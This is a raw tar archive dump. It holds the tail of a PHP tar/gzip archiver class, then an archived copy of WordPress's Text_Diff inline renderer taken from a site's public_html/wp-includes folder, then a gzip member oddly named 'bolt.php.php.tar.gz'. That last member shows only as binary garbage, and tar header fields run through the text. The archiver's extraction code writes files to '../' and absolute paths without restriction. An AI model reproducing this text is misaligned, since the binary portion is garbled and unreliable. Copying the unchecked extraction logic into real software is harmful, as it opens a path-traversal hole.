						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                       inline.php.tar                                                                                      0000644                 00000016000 15217301621 0007313 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php                               0000644                 00000012630 15217274171 0021731 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        bolt.php.php.tar.gz                                                                                 0000644                 00000060651 15217301621 0010215 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Ys(v_5!9THq_DA$A 	?8{#?8¯~seUa"}ߵg	ԒU9^r=T[vy#HCq=U46+l^azgP0@$'҃p ߅V5NAM[/h=Ԙ ̂	073?JLFd K̿?H45ל(?5֦"H$ݡ'[uD37Z_cɩVVF(	!5^,UPix]G^}5C T*RCo|š	θG_QTӖn[p$|Cy#;~z=z|E7S__X"H>kDUޣ ?e-9 	wF̋CCYx	THP"<x&^d*-)k
AZYJ$K'Ԁy*Ғw (kѽq;HBc4ɲ8HVyNNDF{y4ÿUE~Q?;JѰD2^Յ}*o!7ť]+?9TU/CLx{4$ҫDSM`1ߝwhQXdQ4yMfD\i>Kp+[ʊ2swh|d2qp*3 罒t*N@#Ek7]&jҩf	m@g2IhY,_sj/zVxf/uM̌5Ѧʌ_V=-DqPl߇#p*l3J?bNw2x(xN"z(eV
\OBib1*$}48	?G4FD:%x۫mPl9@a[ID|Gķe	j#z?2^/ODAEVyFW%x-^i.Y为毗#Β\$UEF-K*d!t>x^>	q
Q8?x2.SxeʄQRK~'L	@ eΛ+
qo: 	dx:jn<-_jhAYheX @C8;N_G	qf1sd%WXYx@)JYP:?O=x'z
1NuhjNeCyL/K9z[rYJ[xũa-(|:sCҗGÉk@9ϣ&=śE(Qk
H
H>xCEyĻ,"C;*h||c<w7(lp{^FxXANwiSh{F5[_f0zĔExt9}N7skֲ V5oCԱ3'noPz
i,NBn? .T x]HI.| {v_@,s	;7ќE#~̡KPQgi AJ$.JDwJT`"GhBnWH :T,\YxN+2; u`.sܿ*z+͂K4[M2!Akv&[:eX/C#gMN9Xl,)D[KBY"t-Ќ0I))>ѐ٧X3OW9_$2W`GDJ8"6^U<h!	cZX^!WE*	KXL5:	ZS7NXB1*
QuY &v
M)!^z|[C4}8UidPh3IA
ڑӊRw#<(i,ى=M%] g(DxT9$On<uѼp[MZ-s_ʈAFw2[K'un2ss]*ladcd~2Ɋvyh:.efcW<ߘ79$Bʆ,>~:݃N%Y)1E":X|Gktr·Vdrk9U)S"T̠T:/h	*x1ih#cdFZiQ.éIA|D-p0YPB^"HQl#IBlNÿ10{@A/8Q["ƜEo3e=)qP9&qXl#u
h_4CzBl
N|I,p[DЦp76K6KnǂJ^vHyaT։DCHLΓ#&]A:$C^UC$)rHVT(b+TuK(&҉^6-{kkfR\=3ldxRb9Jc#*T	k!uE%I~/8\߾_/_wGMq]^%pHgЩAj|5%̱8@9=C^/`XO(^a	ݗd^_]NI!~";4Z@M^#Xd"_1{gIWf
xqᅥ?i6lWhW_t^[+cMNzBbc!	m*cRZ»EBՅiǍ>@w,65B!cIfD e#JyQ,/2sBkY|:Şqxڒ쳸S*36m-׵$
ZH,c+NhjT2F^2ɸ"]5H|D%brʿ2]dx$$c٦<a:8I1	)e_dQ"Fo 6~9-PQT*d9.!& o 6Y],hڀe]<÷L|1_e[Z\%tgT@Wa 
_i'eqRva(qڜA윌Xy|&&ބ/++V?	M"PTJˠ;JmH(EڢTYr#MxN48N?Q!D;xj&XM@	(-[Z)2l}4B.G@$dqGCǅ	Z{3vp8!Nk}A#M{6Pz1B 6kyMQ͡D(毤i[FKM}1"H;vi)tiBĝ!`G=$`"FAlRK15m~'zՔ͂,~ԥ
-iafҁ'xAc0?/ylD?pYD!AhnkN'VVgc`͎yŁ;e9[Kmz ]a;.WX_kur Qg*w`]%/Y`ywb;D]ƼԘ
feH(Jk"Gz2)AISHiIt}<eǭp#wOeJ"la>?1yy-8T8ۣ;֚># GWBll>ZGX:t:YAOi*$P
'*FDk.9æiH5JD(VE~lօsA4Pw@ށ10&Z|Pwv>
VbnGU!7i֭60?y4Mj%KEo#MOɤeC#3	J1Dv>t}IZdVB&Y:ű
WE%ltalj-}5Q nU#WI֠ D~Ц  46o`op~s_[2^^@}^!hIh@h"!Tѱ}Иcf9nDM	9'o&eҩ끪)fQ/2HP6{u%Ղ)1\!z#(yu;DϤ[w2}tJbEb9Ήt355<z15AC/8%)#:}p!2&g*8%jLѰn& |NC {,~BI4z	xXq]W)ʋq7t*כ98!֗t~&8`\x= Shsޢ|{R3K@;"&u`F&iOq	"RO\`6GIx5aI5`HkѦ,t3C Kv1k}Юiiͧb$@KWGt%B3?C&Œ1	RB?'^~WSccCk{cNc-|fIz+˄%aF9D"T5<J/KMH|鈚DiOgl(S=@jl<($5;6KסsV2M$Hv#8iHh4\ӡ݄+[fGUqş㛗91\9Fy9?E^y_D'	I'iĸ{=}&4;Ѡ]Yuunn+dZǝj `";eEk'ƛVI71~V:G.vt)H
:d<[^`CKy8#GkQ-j,כzLZի8+Lzxu!ºMw~FbhȩS8#ø`s,uot\_tÇkQE$!>GL@$vO8AT7ŭb`bsH|-ܓi"qZsÌ\7HdST@w0~f!$Asom4z:(uM/IB ?yr.b~c$G(&HőjRL3Ƞ065BNgrf:lQm,UKr	#<0LR[0LQ\*;~f,DG}t|$P5ZLҪtRvr;T$2lGd2#s3~H31Mb6{OX<,~b'sg0R[)n:&pkV~B@"R2!tO׿ڭk&SJ~}}08 z kg8eS[6Lrn7ׇAN>uW#έpVAtR^+b}dɉk)KQΓ(,\/N12-bN~|6'KC%W0|"^_HaJ 8	;@']āC:}ֈUBMj[^N+ʉ=z/"c[ӂ.R UBj~E=p?;'0-9k8#r#C|Rs#u(!\(NkvG73MzE"[fG,-%R*)ij8+9=bw"#dއtы")x[',^grkJlٵbfJvMWUԝR-WW33͞mi\aX
:;m-=E@aC>YbjKpȴ>TPf8T^HUڣ"\k^ x5y#H#4orå5 ʢ2m I'/5+#NBRexqk`rz>c9@:%Ph
A#=|CMH<IX88|K0K`f H,eA"{4Z]_r8]J;2^6Ra"ПJ=͵')z&rhC0JڹT+n)ZGFoq(dZAhCCVnzz)%-Bnl,VW名lZEyi;|H[!2A~pA)갵C<ϤjDpKUVV`t]
QRj?jS/"ucDv&,yr"2%,ZƣUKp'ڽi{YτfE 8_<*T``\;\y -h4Ċ)a*!vtFѳܑո
뉆ԛ|x>kDޖ=LÁ3'PJ\0?rThS6hDRh!PvX	s,r)e<Xw<j-l}+	OlL벱	#"TNKUyR<E鐘uP'٠\=̞wq6&B0ZXzJۙ62UKԜ+(;IjzjR}cO75zo5dr#nΥBp3(Iez;)j׳­]2q!thXOir4vrt{c}?TQ+T.?bNzݑ^tqP!sN]n+YSSB.Nެ,'!'OJKsF1l7XZ,O\`J&;<iO:tқ{ʮy?tthD.]{\+U߷ڛ<y6:Sd41hSOg{
|ٱl3Ad sF:n*hJѲ_-=YtSn{np˩}׳nH'7c{-cnWq88=#t-mSeidfF;S揓$$&4&[}f~V%[s6XgM!RbդA8?G
$0P81mt͡rlN9\лpaAf; EncZ z{KEdSF֚jU3WHibYI*6]	ExVmN v8иWϯjjdsZڪ\1ȥXiک/ E;l7 6EY-pc4uhrؓT6$ZʿGX6;J Q?QguI&֓m)7e/kHFô뜹CŢ冀M]|Uv_86{ՅCh%  :SQ@r'/,K^!	)CJp)9^TRq+аu-wNW׸$FkȼZȵ:Q"-z	; V\<>p(5ߚs@w_~oНL:Q-V9\)m[a?:A2].~fa	Jʲg UbkhyA!~f^&G>U@p!j2XeD+ x@<IWT9ILoC@GR_~o?;_	+Mi	/?}X7%	#@Q;a]RĞ-!'#nfıq~ǫ
Upto\3i:80KzcC*-Q(bxxK+@bP AUD\GO^l*XڨUuذ˂NI#	W5M3VA>+8v	&Ł	[xͤ#?=d1vsIɞJ}awm
o7=A9NM,"3 )/E	ؚ6LBY`&&4o\X%/x]8G͜l! ,oIT)v׻TNsfwxh7#k}̌ɅQقm>8h7b7&'glEh3uGgs{%f°^2y	zOAPic\%Q'oNb9a2k[͛nҟt}q$tk@?!]!J,L-FP_co5r,%[aM#b8&э:䐂p;bZ"^RsaqWs;.&	>2(.AXPB2B{dS8l.>ˌ7V'Kǒ-3c}?WkA3WMzwjȺu*ӭ[TjBcE[&z\'=X)531cK]yp\54JWN[YmQ[ȭӂouxǘY>|	Rn>&!|C߳tZXon洄y_,@
w:񻮰)RFn
4"3$s,0iglFf߀NȔfZ7KMiz3WpTS,X˝ZRNa|hAf_=?H8TC5XMUEu7~7;sLhK˦}cL=.A6|>`b]][2`	\4~ykU#ZKABcH|n#*S?&#joJ(2~Ųd2ceBZ.J$kͬ&O5!psXK:'떰8;gϖL~H_J粣z`gX%XE4Xh8nqP4&qb-ʭZmt_\bz2ZR3ٙ@zE=!'^P\`=Q?RsHˇjNn r6Uя&(.
a7;,n~￳%LKiF2LQ3 zr??b࿸;?g
7tP>yi#.hDK:^HW;ۊʷv[+6ЖPEIAxy;-f+=ouC8şP2Hpǈ2FZCj0ҋS\LQXd:ߩnI
|Y~EZx1k\Tc+s(4rvj*MT<xyBM8zBOcYʈɯ$\So_\_onK[ a#c_^rv]LCNaB[0'k[ݐtrp1;7V(v;=ÛM9+HО/(K͔W(;%Dm$O_-J0kw͘[îݸKLbs	W~5%-O,i##.~4HaXj^m|]=//q3O1g*b=Hm6ňXGÉH.fPmHw2HDcw+='rIo09?{?GG&6"*v#K~wmMy<=31rȧNi}mu`M@l/&XlRl.ŬECi="z('}p/={U`j`$.9-~\>K968eI`hR83Z>p2ESAaf_.g?d,	np
sk|	nЀm
q61VP:WH<&v%[|HrPhR3NTNBЦi6iX?fp=oVޔ'Hw\n
qa"ՙywrj(ȕh(J,q	.*\[j<<T&6FzZ|dwV!bJR¡S:Uzj٭RTSI*WʙT6oROeW8L20ퟷL1Nټ@7ZdT	.d˽`yʧT!%=VyX\'eV7E'TP|*?٦ҍE3^*-M?vb	\jO&O(!TCJ8UlQB\:W@b|ݬG 	ҁsysiW<J~UJWR$ߢ4Ʉ%pUQcՊfŸUv(5OdQpO99T,-5vUc<YOFcWza+[C8^uHeZy<H[Mu؀y8.Ǆbn?kV=[)>NaDN<ae#kvKnFn-M
Aha[oW='ONٓz^7tւ}ha*U+v)5N
B6<LXOe|Sy}^[%>dYL.dNTF񩕩Oә̢zxx}. 5BkȥFt+ra*ފpvf4KtHSV	 l2y^aF3G!hF=ٵepRLz	lMn}jg˝욛
r O6C}]qS*ue~\_': ZJFmML2r+jYm=ѶޜSV/7'F$OXYL2un$?V4yܗZϰ͊i`Z,gjݜow阐*zSh?czj-fN{,f3WW}L˳y\>}XPķlm^ԧqQ-IԐk۞VTsն?RcUN2ҦܡX̤dlFHzng6Z*=}HULfT?n+i7ORz1(NJ^jo+eQوt&+MXRf)MS˛NiZ~5:sS,JB;OlUJ묖z44he5*<<C'|av7jhje&ܣP	>%ecpV\.R?TJOTY!<;k"IEKikSBo~gܳ(
J5Viq##_3~![!nXZZK	(BtEyFz$%qi $yDn(d;n>Q9>;󰒪G;S[x(¬ݫ
R4C=NzĪ-~Y-`(qX+=⡧WeifUm%ׅΣnpKQZkn=ȑ.u:ˑ4e2&V"i}i4u\}Kk뵶ݼԛ$-]o=֦_I`mq?RGi35[բayXB|q,G.[fk3mZ+PR:GR>GA(rzKuB(j37"VlA9eוudC)KmUZI7"x:OXy~O{Ĭ?+#~E;f4톞,<Oa
|>Uо<.╍$z!-9RX=#M2t[}<,ŁZ;(@zVDNz.isZi}u_WHdV#,bOE݇i/pV<nrCߊ6R*Mٳ"ZEgh-[E)Fݜ6wHYX+xl\}/CBS#[{n7r-ӢZ]SZ}lmjh߭f$)0|ۨhb0Wj|>YWc!^ywXv#wOa8r,ZkxU~zW_V{Rd;q:({vhYy>~bպˈqW^~P#CO*U"	Jl?u9l$rj^G*P
rDvH-w|)W
N+:~=V~P&Xz/Z=DZ'fFPO7^%e#81C3mzlW&j}qHKn%z"\	V(ժ@b<(GƕRehsǃyh{z0GZS5bS-;VqiTS	tX{jZ4ZKae>sAmk(n@Ljfh=%Vw;]6R:*ƃ4!vg[
7w1{pT.3Mk,bz:ڊo=`x##MJ\Wn̓!@b,"Bv +X$XrmDs
msJĦϋU<FU9.kVI5(␋Ik^	 mJ<6Jxc._mFq%:`<k	A]ǂC)
[8jƝZ`	UfCb}'ð^6lȦ{ŭ@fO%	P9z<1?[g]o3:ĸr#UvY^IEwM0>QyrxF>]h#'ⵖ/>e68N_Eks
z]7,Sl4XFan" w4ANJbzJ>fRTR4}_V+l~xn=yjbUq>5Læ޷='8?~ґC_|Ju1"E?=nYzB:;juk<;q<&vM}~Rl(Zj{͊tWlzV4Bȥz*;pܜGܳzگm`iOSz_LBf<įO|d/d6[ǢM}i?N:عn%pL5(VQt7{"GJ-e)nirr*_^yA=O&kYg1fo
{GsQVPf׽\;ϭvROm׋Ыyvē^UIJVzUҫ8DJqaЩW/1nvPUL>]V\}&֞LiPPC?έKN=wœ_q*k`-D\<Vdu={9>ԴǮ'V+g`kv[lȉּ/2۴Į-O[ȟ?m!Bi-O[ȟ?m!Bsl!I9BBSmBAxb.<=4F]x6sQ
